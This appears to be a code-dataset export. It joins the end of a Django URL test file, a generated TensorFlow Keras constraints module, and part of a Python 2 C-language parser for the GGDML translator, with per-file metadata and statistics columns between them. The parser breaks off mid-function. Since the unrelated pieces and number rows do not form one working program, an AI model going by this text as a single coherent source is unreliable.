self.client = Client()
self.client.force_login(self.createduser)
response = self.client.get(self.request_url)
self.assertEqual(response.status_code, 200)
def test_register(self):
self.client = Client()
response = self.client.get(self.request_url)
self.assertEquals(response.status_code,302)
class profileUrlTest(TestCase):
def setUp(self):
self.createduser = User.objects.create_user(username="collegemart", email="collegemart@gmail.com",
password="collegemart123")
self.client = None
self.request_url = '/accounts/profile/'
def test_register(self):
self.client = Client()
response = self.client.get(self.request_url)
self.assertEquals(response.status_code,302)
'''class profileeditUrlTest(TestCase):
def setUp(self):
self.createduser = User.objects.create_user(username="collegemart", email="collegemart@gmail.com",
password="collegemart123")
self.client = None
self.request_url = '/accounts/profile/edit/'
def test_register1(self):
self.client = Client()
self.client.force_login(self.createduser)
response = self.client.get(self.request_url)
self.assertEqual(response.status_code, 200)
def test_register(self):
self.client = Client()
response = self.client.get(self.request_url)
self.assertEquals(response.status_code,302)'''
class resetpasswordUrlTest(TestCase):
def setUp(self):
self.createduser = User.objects.create_user(username="collegemart", email="collegemart@gmail.com",
password="collegemart123")
self.client = None
self.request_url = '/accounts/reset-password/'
def test_register1(self):
self.client = Client()
self.client.force_login(self.createduser)
response = self.client.get(self.request_url)
self.assertEqual(response.status_code, 200)
def test_register(self):
self.client = Client()
response = self.client.get(self.request_url)
self.assertEquals(response.status_code,200)
class resetdoneUrlTest(TestCase):
def setUp(self):
self.createduser = User.objects.create_user(username="collegemart", email="collegemart@gmail.com",
password="collegemart123")
self.client = None
self.request_url = '/accounts/reset-password/done/'
def test_register1(self):
self.client = Client()
self.client.force_login(self.createduser)
response = self.client.get(self.request_url)
self.assertEqual(response.status_code, 200)
def test_register(self):
self.client = Client()
response = self.client.get(self.request_url)
self.assertEquals(response.status_code,200)
class resetcompleteUrlTest(TestCase):
def setUp(self):
self.createduser = User.objects.create_user(username="collegemart", email="collegemart@gmail.com",
password="collegemart123")
self.client = None
self.request_url = '/accounts/reset-password/complete/'
def test_register1(self):
self.client = Client()
self.client.force_login(self.createduser)
response = self.client.get(self.request_url)
self.assertEqual(response.status_code, 200)
def test_register(self):
self.client = Client()
response = self.client.get(self.request_url)
self.assertEquals(response.status_code,200)
| 31.20398
| 106
| 0.633291
| 659
| 6,272
| 5.907436
| 0.113809
| 0.115592
| 0.082713
| 0.077061
| 0.845107
| 0.845107
| 0.845107
| 0.822502
| 0.822502
| 0.822502
| 0
| 0.018053
| 0.258131
| 6,272
| 200
| 107
| 31.36
| 0.818612
| 0
| 0
| 0.701923
| 0
| 0
| 0.108013
| 0.044403
| 0
| 0
| 0
| 0
| 0.134615
| 1
| 0.173077
| false
| 0.134615
| 0.048077
| 0
| 0.288462
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
e14935ab23dc7b0bcacae407726337202d18b598
| 1,029
|
py
|
Python
|
Keras_tensorflow_nightly/source2.7/tensorflow/tools/api/generator/api/keras/constraints/__init__.py
|
Con-Mi/lambda-packs
|
b23a8464abdd88050b83310e1d0e99c54dac28ab
|
[
"MIT"
] | 3
|
2019-04-01T11:03:04.000Z
|
2019-12-31T02:17:15.000Z
|
Keras_tensorflow_nightly/source2.7/tensorflow/tools/api/generator/api/keras/constraints/__init__.py
|
Con-Mi/lambda-packs
|
b23a8464abdd88050b83310e1d0e99c54dac28ab
|
[
"MIT"
] | 1
|
2021-04-15T18:46:45.000Z
|
2021-04-15T18:46:45.000Z
|
Keras_tensorflow_nightly/source2.7/tensorflow/tools/api/generator/api/keras/constraints/__init__.py
|
Con-Mi/lambda-packs
|
b23a8464abdd88050b83310e1d0e99c54dac28ab
|
[
"MIT"
] | 1
|
2021-09-23T13:43:07.000Z
|
2021-09-23T13:43:07.000Z
|
"""Imports for Python API.
This file is MACHINE GENERATED! Do not edit.
Generated by: tensorflow/tools/api/generator/create_python_api.py script.
"""
from tensorflow.python.keras._impl.keras.constraints import Constraint
from tensorflow.python.keras._impl.keras.constraints import MaxNorm
from tensorflow.python.keras._impl.keras.constraints import MaxNorm as max_norm
from tensorflow.python.keras._impl.keras.constraints import MinMaxNorm
from tensorflow.python.keras._impl.keras.constraints import MinMaxNorm as min_max_norm
from tensorflow.python.keras._impl.keras.constraints import NonNeg
from tensorflow.python.keras._impl.keras.constraints import NonNeg as non_neg
from tensorflow.python.keras._impl.keras.constraints import UnitNorm
from tensorflow.python.keras._impl.keras.constraints import UnitNorm as unit_norm
from tensorflow.python.keras._impl.keras.constraints import deserialize
from tensorflow.python.keras._impl.keras.constraints import get
from tensorflow.python.keras._impl.keras.constraints import serialize
| 60.529412
| 86
| 0.855199
| 144
| 1,029
| 5.979167
| 0.270833
| 0.195122
| 0.278746
| 0.348432
| 0.803717
| 0.803717
| 0.803717
| 0.803717
| 0.626016
| 0.134727
| 0
| 0
| 0.070943
| 1,029
| 17
| 87
| 60.529412
| 0.900628
| 0.13897
| 0
| 0
| 1
| 0
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| 0
| 0
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| 0
| 1
| 0
| true
| 0
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| 1
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| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
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| 1
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| 0
| 0
|
0
| 9
|
e18291b408a8924874eb37bc55935560bd1db44d
| 115,730
|
py
|
Python
|
aimes-dsl/C.py
|
ESiWACE/esdm-test-apps
|
e1b64b0b66bdb8591d9b1e0fd8a38eb5b3c7d00f
|
[
"MIT"
] | null | null | null |
aimes-dsl/C.py
|
ESiWACE/esdm-test-apps
|
e1b64b0b66bdb8591d9b1e0fd8a38eb5b3c7d00f
|
[
"MIT"
] | null | null | null |
aimes-dsl/C.py
|
ESiWACE/esdm-test-apps
|
e1b64b0b66bdb8591d9b1e0fd8a38eb5b3c7d00f
|
[
"MIT"
] | null | null | null |
# This file is part of the GGDML language extensions' source-to-source translator.
# The tool is intended to be used according to the GPL licence after the first
# version is published.
# This file works together with the GGDML extensions processor module.
# It is used to process the general-purpose-language.
# Nabeeh Jum'ah
import re
import os
class language:
def __init__(self,DSL):
self.storage_class_specifiers = ['typedef','extern','static','auto','register','inline']
self.type_specifiers=['void','char','short','int','long','float','double','_Bool','_Complex','signed','unsigned', 'esdm_dataset_t', 'esdm_container_t', 'esdm_status']
self.type_qualifiers=['const','restrict','volatile']
self.keywords=self.storage_class_specifiers+self.type_specifiers+self.type_qualifiers+['for','while','do','sizeof','if','switch','case','return']
self.currentPos = 0
self.lComments=[]
self.mComments=[]
self.pragmas=[]
self.DSL = DSL
self.fileName = ''
def readSource(self,filename):
self.fileName = filename
filevar = open(filename)
self.srcCode = filevar.read()
#preprocess
self.includePaths = [os.path.dirname(os.path.abspath(filename))]+self.includePaths
while True:
m=re.search(r'//.*?$',self.srcCode,flags=re.M|re.S)
if m==None:
break
self.lComments.append([m.start(), m.end(), self.srcCode[m.start():m.end()] ])
self.srcCode = self.srcCode[:m.start()]+' '*(m.end()-m.start())+self.srcCode[m.end():]
while True:
m=re.search(r'/\*.*?\*/',self.srcCode,flags=re.M|re.S)
if m==None:
break
self.mComments.append([m.start(), m.end(), self.srcCode[m.start():m.end()] ])
self.srcCode = self.srcCode[:m.start()]+' '*(m.end()-m.start())+self.srcCode[m.end():]
while True:
m=re.search(r'^[ \t]*#.*?$',self.srcCode,flags=re.M|re.S)
if m==None:
break
self.pragmas.append([m.start(), m.end(), self.srcCode[m.start():m.end()] ])
self.srcCode = self.srcCode[:m.start()]+' '*(m.end()-m.start())+self.srcCode[m.end():]
pText = m.group()
m=re.search(r'#\s*include\s*\"(.+?)\"',pText,flags=re.M|re.S)
if m!=None:
nfn = m.group(1).strip()
if os.path.exists(self.includePaths[0]+'/'+nfn):
self.handleIncludeFile(self.includePaths[0]+'/'+nfn)
def handleIncludeFile(self,filename):
newDSLObj = self.DSL.__class__(self.DSL.confFileName)
newDSLObj.readSource(filename)
newDSLObj.parse()
for i in newDSLObj.GPL.type_specifiers:
found = False
for j in self.type_specifiers:
if i==j:
found=True
break
if found==False:
self.type_specifiers.append(i)
t = newDSLObj.symbolTable
t.update(self.DSL.symbolTable)
self.DSL.symbolTable = t
def reportError(self,errText):
err = 'Error in ['
if self.fileName!='':
err = err + self.fileName
else:
err = err + 'external configuration code'
el = self.errorLine()
err = err + '] in line [' + str(el[0]) + '], ' + errText + ': ' + el[1]
print err
exit(1)
def errorLine(self):
ln = 1
lb = 0
for i in range(0,self.currentPos):
if self.srcCode[i]=='\n':
ln = ln+1
lb = i
le = 0
for i in range(self.currentPos,len(self.srcCode)):
if self.srcCode[i]=='\n':
le = i
break
src = self.srcCode[lb:self.currentPos]+' <here> '+self.srcCode[self.currentPos:le]
return [ln,src]
def skipSpaces(self):
mr = re.match('(\s*(#.*)?)', self.srcCode[self.currentPos:], re.S)
if mr:
self.currentPos = self.currentPos + mr.end(1)
return mr.group(1)
return None
def checkType(self):
for ty in self.type_specifiers:
if self.checkSymbol(ty):
return ty
return None
def checkID(self):
revert = self.currentPos
symb = self.checkSymbol('[a-zA-Z_][0-9a-zA-Z_]*')
if symb==None:
self.currentPos=revert
return None
for i in self.keywords:
if i == symb:
self.currentPos = revert
return None
return symb
def checkSymbol(self,symbol):
mr = re.match('('+symbol+')', self.srcCode[self.currentPos:], re.S)
if mr:
self.currentPos = self.currentPos + mr.end(1)
return mr.group(1)
return None
###########################################
def declaration(self):
self.dsl_declaration = False
revert = self.currentPos
ret=[self.currentPos,'declaration']
self.skipSpaces()
symb = self.declaration_specifiers()
if symb==None:
self.currentPos=revert
return None
ret.append(symb)
revert = self.currentPos
self.skipSpaces()
symb = self.init_declarator_list()
if symb==None:
self.currentPos=revert
else:
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol(';')
if symb==None:
self.reportError('expected ;')
return None
if self.dsl_declaration == True:
ret = self.DSL.translate_declaration(ret,'declaration')
if ret[2][2]=='typedef':
self.type_specifiers.append(ret[3][2][2][2][2])
return ret
def declaration_specifiers(self):
revert = self.currentPos
ret=[self.currentPos,'declaration_specifiers']
while True:
self.skipSpaces()
symb = self.storage_class_specifier()
if symb!=None:
ret.append(symb)
continue
self.skipSpaces()
symb = self.type_specifier()
if symb!=None:
ret.append(symb)
continue
self.skipSpaces()
symb = self.type_qualifier()
if symb!=None:
ret.append(symb)
continue
break
if len(ret)==2:
return None
return ret
def init_declarator_list(self):
revert = self.currentPos
ret=[self.currentPos,'init_declarator_list']
self.skipSpaces()
symb = self.init_declarator()
if symb!=None:
ret.append(symb)
while True:
self.skipSpaces()
symb = self.checkSymbol(',')
if symb==None:
return ret
self.skipSpaces()
symb = self.init_declarator()
if symb==None:
print 'init_declarator expected'#should return with error
break
ret.append(symb)
return None
def init_declarator(self):
revert = self.currentPos
ret=[self.currentPos,'init_declarator']
self.skipSpaces()
symb = self.declarator()
if symb==None:
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('=')
if symb==None:
return ret
self.skipSpaces()
symb = self.initializer()
if symb==None:
print 'initializer expected'#error, revert
return ret
ret.append(symb)
return ret
def storage_class_specifier(self):
for i in self.storage_class_specifiers:
if self.checkSymbol(i)!=None:
return i
return None
def type_specifier(self):
self.skipSpaces()
if self.DSL!=None:
symb = self.DSL.type_specifier()
if symb!=None:
self.dsl_declaration = True
return symb
for i in self.type_specifiers:
m = re.match('('+i+')[^0-9a-zA-Z_]', self.srcCode[self.currentPos:], re.S)
if m:
self.currentPos = self.currentPos + m.end(1)
return i
self.skipSpaces()
symb = self.struct_or_union_specifier()
if symb!=None:
return symb
symb = self.enum_specifier()
if symb!=None:
return symb
return None
def type_qualifier(self):
for i in self.type_qualifiers:
if self.checkSymbol(i)!=None:
return i
return None
def struct_or_union_specifier(self):
revert = self.currentPos
ret=[self.currentPos,]
self.skipSpaces()
symb = self.checkSymbol('struct')
if symb==None:
symb = self.checkSymbol('union')
if symb==None:
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkID()
if symb==None:
symb = ''
ret.append(symb)#add name or empty for non-named
self.skipSpaces()
symb = self.checkSymbol('\{')
if symb==None:
return ret
self.skipSpaces()
symb = self.struct_declaration_list()
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\}')
if symb==None:
self.reportError('expected } to end struct/union')
return ret
def struct_declaration_list(self):
revert = self.currentPos
ret=[self.currentPos,'struct_declaration_list']
while True:
self.skipSpaces()
symb = self.struct_declaration()
if symb==None:
break
ret.append(symb)
if len(ret)==2:
return None
return ret
def struct_declaration(self):
self.dsl_declaration = False
revert = self.currentPos
ret=[self.currentPos,'struct_declaration']
self.skipSpaces()
symb = self.specifier_qualifier_list()
if symb==None:
self.currentPos=revert
return None
ret.append(symb)
self.skipSpaces()
symb = self.struct_declarator_list()
if symb==None:
self.currentPos=revert
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol(';')
if symb==None:
self.reportError('expected ;')
return None
if self.dsl_declaration == True:
ret = self.DSL.translate_declaration(ret,'struct_declaration')
return ret
def specifier_qualifier_list(self):
revert = self.currentPos
ret=[self.currentPos,'specifier_qualifier_list']
while True:
self.skipSpaces()
symb = self.type_specifier()
if symb!=None:
ret.append(symb)
continue
self.skipSpaces()
symb = self.type_qualifier()
if symb!=None:
ret.append(symb)
continue
break
if len(ret)==2:
return None
return ret
def struct_declarator_list(self):
revert = self.currentPos
ret=[self.currentPos,'struct_declarator_list']
self.skipSpaces()
symb = self.struct_declarator()
if symb!=None:
ret.append(symb)
while True:
self.skipSpaces()
symb = self.checkSymbol(',')
if symb==None:
return ret
self.skipSpaces()
symb = self.struct_declarator()
if symb==None:
print 'init_declarator expected'#should return with error
break
ret.append(symb)
return None
def struct_declarator(self):
revert = self.currentPos
ret=[self.currentPos,'struct_declarator']#needed?
self.skipSpaces()
symb = self.declarator()
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol(':')
if symb!=None:
self.skipSpaces()
symb = self.constant_expression()
if symb==None:
self.reportError('value needed after colon(:)')
ret.append(symb)
if len(ret)==2:
return None
return ret
def enum_specifier(self):
revert = self.currentPos
ret=[self.currentPos,'enum']
self.skipSpaces()
symb = self.checkSymbol('enum')
if symb==None:
return None
self.skipSpaces()
symb = self.checkID()
if symb==None:
symb = ''
ret.append(symb)#add name or empty for non-named
self.skipSpaces()
symb = self.checkSymbol('\{')
if symb==None:
return ret
self.skipSpaces()
symb = self.enumerator_list()
if symb==None:
self.currentPos = revert
self.reportError('enum should have a list of enumerators')
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\}')
if symb==None:
self.reportError('expected } to end struct/union')
return ret
def enumerator_list(self):
revert = self.currentPos
ret=[self.currentPos,'enumerator_list']
self.skipSpaces()
symb = self.enumerator()
if symb!=None:
ret.append(symb)
while True:
self.skipSpaces()
symb = self.checkSymbol(',')
if symb==None:
return ret
self.skipSpaces()
symb = self.enumerator()
if symb==None:
print 'init_declarator expected'#should return with error
break
ret.append(symb)
return None
def enumerator(self):
revert = self.currentPos
ret=[self.currentPos,'enumerator']
self.skipSpaces()
symb = self.checkID()
if symb==None:
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('=')
if symb==None:
return ret
self.skipSpaces()
symb = self.constant_expression()
if symb==None:
self.reportError('expected constant value after =')
ret.append(symb)
return ret
def declarator(self):
revert = self.currentPos
ret=[self.currentPos,'declarator']
self.skipSpaces()
symb = self.pointer()
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.direct_declarator()
if symb==None:
self.currentPos = revert
return None
ret.append(symb)
return ret
def direct_declarator(self):
revert = self.currentPos
ret=[self.currentPos,'direct_declarator']
self.skipSpaces()
symb = self.checkID()
if symb!=None:
ret.append(symb)
else:
self.skipSpaces()
symb = self.checkSymbol('\(')
if symb==None:
return None
self.skipSpaces()
symb = self.declarator()
if symb==None:
self.currentPos = revert
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\)')
if symb==None:
self.currentPos = revert
return None
while True:
self.skipSpaces()
symb = self.checkSymbol('\[')
if symb!=None:
self.skipSpaces()
symb = self.constant_expression()
if symb!=None:
ret.append('[constant_expression]')
ret.append(symb)
else:
ret.append('[]')
self.skipSpaces()
symb = self.checkSymbol('\]')
if symb!=None:
continue
else:
self.reportError('expected ]')
return None
else:
self.skipSpaces()
symb = self.checkSymbol('\(')
if symb!=None:
self.skipSpaces()
symb = self.parameter_type_list()
if symb!=None:
ret.append('(parameter_type_list)')
ret.append(symb)
else:
self.skipSpaces()
symb = self.identifier_list()
if symb!=None:
ret.append('(identifier_list)')
ret.append(symb)
else:
ret.append('()')
self.skipSpaces()
symb = self.checkSymbol('\)')
if symb!=None:
continue
else:
self.reportError('expected )')
return None
break
return ret
def pointer(self):
revert = self.currentPos
ret=[self.currentPos,'pointer']
while True:
self.skipSpaces()
symb = self.checkSymbol('\*')
if symb==None:
break
ret.append(symb)
self.skipSpaces()
symb = self.type_qualifier_list()
if symb!=None:
ret.append(symb)
if len(ret)==2:
return None
return ret
def type_qualifier_list(self):
revert = self.currentPos
ret=[]
while True:
self.skipSpaces()
symb = self.type_qualifier()
if symb==None:
break
ret.append(symb)
if len(ret)==0:
return None
return ret
def parameter_type_list(self):
revert = self.currentPos
ret=[self.currentPos,'parameter_type_list']
self.skipSpaces()
symb = self.parameter_list()
if symb==None:
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol(',')
if symb!=None:
self.skipSpaces()
symb = self.checkSymbol('\.\.\.')
if symb==None:
self.reportError('expected parameter or (...)')
return None
ret.append(symb)
if len(ret)==2:
return None
return ret
def parameter_list(self):
revert = self.currentPos
ret=[self.currentPos,'parameter_list']
self.skipSpaces()
symb = self.parameter_declaration()
if symb!=None:
ret.append(symb)
while True:
self.skipSpaces()
revert = self.currentPos # var arg
symb = self.checkSymbol(',')
if symb==None:
return ret
self.skipSpaces()
symb = self.parameter_declaration()
if symb==None:
self.currentPos = revert
return ret
ret.append(symb)
return None
def parameter_declaration(self):
revert = self.currentPos
ret=[self.currentPos,'parameter_declaration']
self.skipSpaces()
symb = self.declaration_specifiers()
if symb==None:
return None
ret.append(symb)
self.skipSpaces()
symb = self.declarator()
if symb==None:
symb = self.abstract_declarator()
if symb!=None:
ret.append(symb)
return ret
def identifier_list(self):
revert = self.currentPos
ret=[self.currentPos,'identifier_list']
self.skipSpaces()
symb = self.checkID()
if symb!=None:
ret.append(symb)
while True:
self.skipSpaces()
symb = self.checkSymbol(',')
if symb==None:
return ret
self.skipSpaces()
symb = self.checkID()
if symb==None:
self.reportError('expected identifier')
return None
ret.append(symb)
return None
def type_name(self):
revert = self.currentPos
ret=[self.currentPos,'type_name']
self.skipSpaces()
symb = self.specifier_qualifier_list()
if symb==None:
return None
ret.append(symb)
self.skipSpaces()
symb = self.abstract_declarator()
if symb!=None:
ret.append(symb)
return ret
def abstract_declarator(self):
revert = self.currentPos
ret=[self.currentPos,'abstract_declarator']
self.skipSpaces()
symb = self.pointer()
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.direct_abstract_declarator()
if symb!=None:
ret.append(symb)
if len(ret)==2:
return None
return ret
def direct_abstract_declarator(self):
revert = self.currentPos
ret=[self.currentPos,'direct_abstract_declarator']#??
self.skipSpaces()
symb = self.checkSymbol('\(')
if symb!=None:
self.skipSpaces()
symb = self.abstract_declarator()
if symb!=None:
ret.append('(abstract_declarator)')
ret.append(symb)
else:
symb = self.parameter_type_list()
if symb!=None:
ret.append('(parameter_type_list)')
ret.append(symb)
else:
ret.append('()')
self.skipSpaces()
symb = self.checkSymbol('\)')
if symb==None:
self.reportError('expected )')
return None
else:
symb = self.checkSymbol('\[')
if symb==None:
return None
self.skipSpaces()
symb = self.constant_expression()
if symb!=None:
ret.append('[constant_expression]')
ret.append(symb)
else:
ret.append('[]')
self.skipSpaces()
symb = self.checkSymbol('\]')
if symb==None:
self.reportError('expected ]')
return None
while True:
self.skipSpaces()
symb = self.checkSymbol('\[')
if symb!=None:
self.skipSpaces()
symb = self.constant_expression()
if symb!=None:
ret.append('[constant_expression]')
ret.append(symb)
else:
ret.append('[]')
self.skipSpaces()
symb = self.checkSymbol('\]')
if symb!=None:
continue
else:
self.reportError('expected ]')
return None
else:
self.skipSpaces()
symb = self.checkSymbol('\(')
if symb!=None:
self.skipSpaces()
symb = self.parameter_type_list()
if symb!=None:
ret.append('(parameter_type_list)')
ret.append(symb)
else:
ret.append('()')
self.skipSpaces()
symb = self.checkSymbol('\)')
if symb!=None:
continue
else:
self.reportError('expected )')
return None
break
return ret
def initializer(self):
revert = self.currentPos
ret=[self.currentPos,'initializer']
self.skipSpaces()
symb = self.assignment_expression()
if symb!=None:
ret.append(symb)
return ret
symb = self.checkSymbol('\{')
if symb==None:
return None
self.skipSpaces()
symb = self.initializer_list()
if symb==None:
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol(',')
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\}')
if symb==None:
self.reportError('expected }')
return None
return ret
def initializer_list(self):
revert = self.currentPos
ret=[self.currentPos,'initializer_list']
self.skipSpaces()
symb = self.initializer()
if symb!=None:
ret.append(symb)
while True:
revert = self.currentPos
self.skipSpaces()
revert = self.currentPos
symb = self.checkSymbol(',')
if symb==None:
return ret
self.skipSpaces()
symb = self.initializer()
if symb==None:
self.currentPos = revert
return ret# there could be a ', }' ending instead of '}' only
ret.append(symb)
return None
def statement(self):
revert = self.currentPos
ret=[self.currentPos,'statement']
self.skipSpaces()
if self.DSL!=None:
symb = self.DSL.statement()
if symb!=None:
ret.append(symb)
return ret
self.skipSpaces()
symb = self.labeled_statement()
if symb!=None:
ret.append(symb)
return ret
symb = self.compound_statement()
if symb!=None:
ret.append(symb)
return ret
symb = self.expression_statement()
if symb!=None:
ret.append(symb)
return ret
symb = self.selection_statement()
if symb!=None:
ret.append(symb)
return ret
symb = self.iteration_statement()
if symb!=None:
ret.append(symb)
return ret
symb = self.jump_statement()
if symb!=None:
ret.append(symb)
return ret
self.currentPos = revert
return None
def labeled_statement(self):
revert = self.currentPos
ret=[self.currentPos,'labeled_statement']#??
self.skipSpaces()
symb = self.checkSymbol('case')
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.constant_expression()
if symb==None:
self.reportError('case needes a constant expression')
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol(':')
if symb==None:
self.reportError('expected : in case statement')
return None
self.skipSpaces()
symb = self.statement()
if symb==None:
self.reportError('a statement expected in case statement')
return None
ret.append(symb)
return ret
symb = self.checkSymbol('default')
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol(':')
if symb==None:
self.reportError('expected : in case statement')
return None
self.skipSpaces()
symb = self.statement()
if symb==None:
self.reportError('a statement expected in case statement')
return None
ret.append(symb)
return ret
symb = self.checkID()
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol(':')
if symb==None:
self.currentPos= revert#revert as statement may be not a labeled, in case and default no need for this
return None
self.skipSpaces()
symb = self.statement()
if symb==None:
self.reportError('a statement expected in after label')
return None
ret.append(symb)
return ret
return None
def compound_statement(self):
revert = self.currentPos
ret=[self.currentPos,'compound_statement']
self.skipSpaces()
symb = self.checkSymbol('\{')
if symb==None:
return None
while True:
self.skipSpaces()
symb = self.declaration()
if symb!=None:
ret.append(symb)
continue
self.skipSpaces()
symb = self.statement()
if symb!=None:
ret.append(symb)
continue
break
self.skipSpaces()
symb = self.checkSymbol('\}')
if symb==None:
self.reportError('expected }')
self.currentPos= revert
return None
return ret
def declaration_list(self):
ret=[self.currentPos,'declaration_list'] # TODO: remove later
while True:
self.skipSpaces()
symb = self.declaration()
if symb==None:
break
ret.append(symb)
if len(ret)==2: # TODO:take care if the node name taken away
return None
return ret
def statement_list(self):
ret=[self.currentPos,'statement_list'] # TODO: remove later
while True:
self.skipSpaces()
symb = self.statement()
if symb==None:
break
ret.append(symb)
if len(ret)==2: # TODO:take care if the node name taken away
return None
return ret
def expression_statement(self):
revert = self.currentPos
ret=[self.currentPos,'expression_statement'] # TODO: remove later
self.skipSpaces()
symb = self.expression()
if symb!=None:
ret.append(symb)
symb = self.checkSymbol(';')
if symb==None:
self.currentPos= revert
return None
return ret
def selection_statement(self):
revert = self.currentPos
ret=[self.currentPos,'selection_statement']#??
self.skipSpaces()
symb = self.checkSymbol('if')
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\(')
if symb==None:
self.reportError('expected ( after if')
self.currentPos= revert
return None
self.skipSpaces()
symb = self.expression()
if symb==None:
self.reportError('expression needed in if() statement')
self.currentPos= revert
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\)')
if symb==None:
self.reportError('expected ) after expression in if statement')
self.currentPos= revert
return None
self.skipSpaces()
symb = self.statement()
if symb==None:
self.reportError('a statement expected in if().. statement')
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('else')
if symb==None:
return ret
self.skipSpaces()
symb = self.statement()
if symb==None:
self.reportError('a statement expected after else in if statement')
return None
ret.append(symb)
return ret
symb = self.checkSymbol('switch')
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\(')
if symb==None:
self.reportError('expected ( after switch')
self.currentPos= revert
return None
self.skipSpaces()
symb = self.expression()
if symb==None:
self.reportError('expression needed in switch() statement')
self.currentPos= revert
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\)')
if symb==None:
self.reportError('expected ) after expression in switch statement')
self.currentPos= revert
return None
self.skipSpaces()
symb = self.statement()
if symb==None:
self.reportError('a statement expected in switch().. statement')
return None
ret.append(symb)
return ret
def iteration_statement(self):
revert = self.currentPos
ret=[self.currentPos,'iteration_statement']#??
self.skipSpaces()
symb = self.checkSymbol('while')
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\(')
if symb==None:
self.reportError('expected ( after while')
self.currentPos= revert
return None
self.skipSpaces()
symb = self.expression()
if symb==None:
self.reportError('expression needed in while() statement')
self.currentPos= revert
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\)')
if symb==None:
self.reportError('expected ) after expression in while statement')
self.currentPos= revert
return None
self.skipSpaces()
symb = self.statement()
if symb==None:
self.reportError('a statement expected in while().. statement')
self.currentPos= revert
return None
ret.append(symb)
return ret
symb = self.checkSymbol('do')
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.statement()
if symb==None:
self.reportError('a statement expected in do statement')
self.currentPos= revert
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('while')
if symb==None:
self.reportError('expected while in do statement')
self.currentPos= revert
return None
self.skipSpaces()
symb = self.checkSymbol('\(')
if symb==None:
self.reportError('expected ( after while in do statement')
self.currentPos= revert
return None
self.skipSpaces()
symb = self.expression()
if symb==None:
self.reportError('expression needed in do .. while() statement')
self.currentPos= revert
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\)')
if symb==None:
self.reportError('expected ) after expression in switch statement')
self.currentPos= revert
return None
self.skipSpaces()
symb = self.checkSymbol(';')
if symb==None:
self.reportError('expected ; at the end of do .. while statement')
self.currentPos= revert
return None
return ret
symb = self.checkSymbol('for')
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\(')
if symb==None:
self.reportError('expected ( after for')
self.currentPos= revert
return None
self.skipSpaces()
symb = self.expression_statement()
if symb==None:
symb = self.declaration()#added later as part one of 'for' could be an expression and if not then a declaration stmt
if symb==None:
self.reportError('expression or declaration statement needed in for statement')
self.currentPos= revert
return None
ret.append(symb)
self.skipSpaces()
symb = self.expression_statement()
if symb==None:
self.reportError('expression statement needed in for statement')
self.currentPos= revert
return None
ret.append(symb)
self.skipSpaces()
symb = self.expression()
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol('\)')
if symb==None:
self.reportError('expected ) in for statement')
self.currentPos= revert
return None
self.skipSpaces()
symb = self.statement()
if symb==None:
self.reportError('a statement expected in for statement')
self.currentPos= revert
return None
ret.append(symb)
return ret
return None
def jump_statement(self):
revert = self.currentPos
ret=[self.currentPos,'jump_statement']#??
self.skipSpaces()
symb = self.checkSymbol('goto')
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkID()
if symb==None:
self.reportError('expected identifier after goto')
self.currentPos= revert
return None
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol(';')
if symb==None:
self.reportError('expected ; after goto statement')
self.currentPos= revert
return None
return ret
self.skipSpaces()
symb = self.checkSymbol('continue')
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol(';')
if symb==None:
self.reportError('expected ; after continue statement')
self.currentPos= revert
return None
return ret
self.skipSpaces()
symb = self.checkSymbol('break')
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol(';')
if symb==None:
self.reportError('expected ; after break statement')
self.currentPos= revert
return None
return ret
self.skipSpaces()
symb = self.checkSymbol('return')
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.expression()
if symb!=None:
ret.append(symb)
self.skipSpaces()
symb = self.checkSymbol(';')
if symb==None:
self.reportError('expected ; after return statement')
self.currentPos= revert
return None
return ret
return None
def translation_unit(self):
ret=[self.currentPos,'translation_unit']
while True:
self.skipSpaces()
symb = self.external_declaration()
if symb==None:
break
for i in self.DSL.TUs[0]:
for j in i[2:]:
j[0]=symb[0]
ret.append(j)
ret.append(symb)
for i in self.DSL.TUs[1]:
for j in i[2:]:
ret.append(j)
#self.DSL.TUs=[[],[],[]]
gl = []
for i in self.DSL.TUs[2]+self.DSL.TUs[3]:
for j in i[2:]:
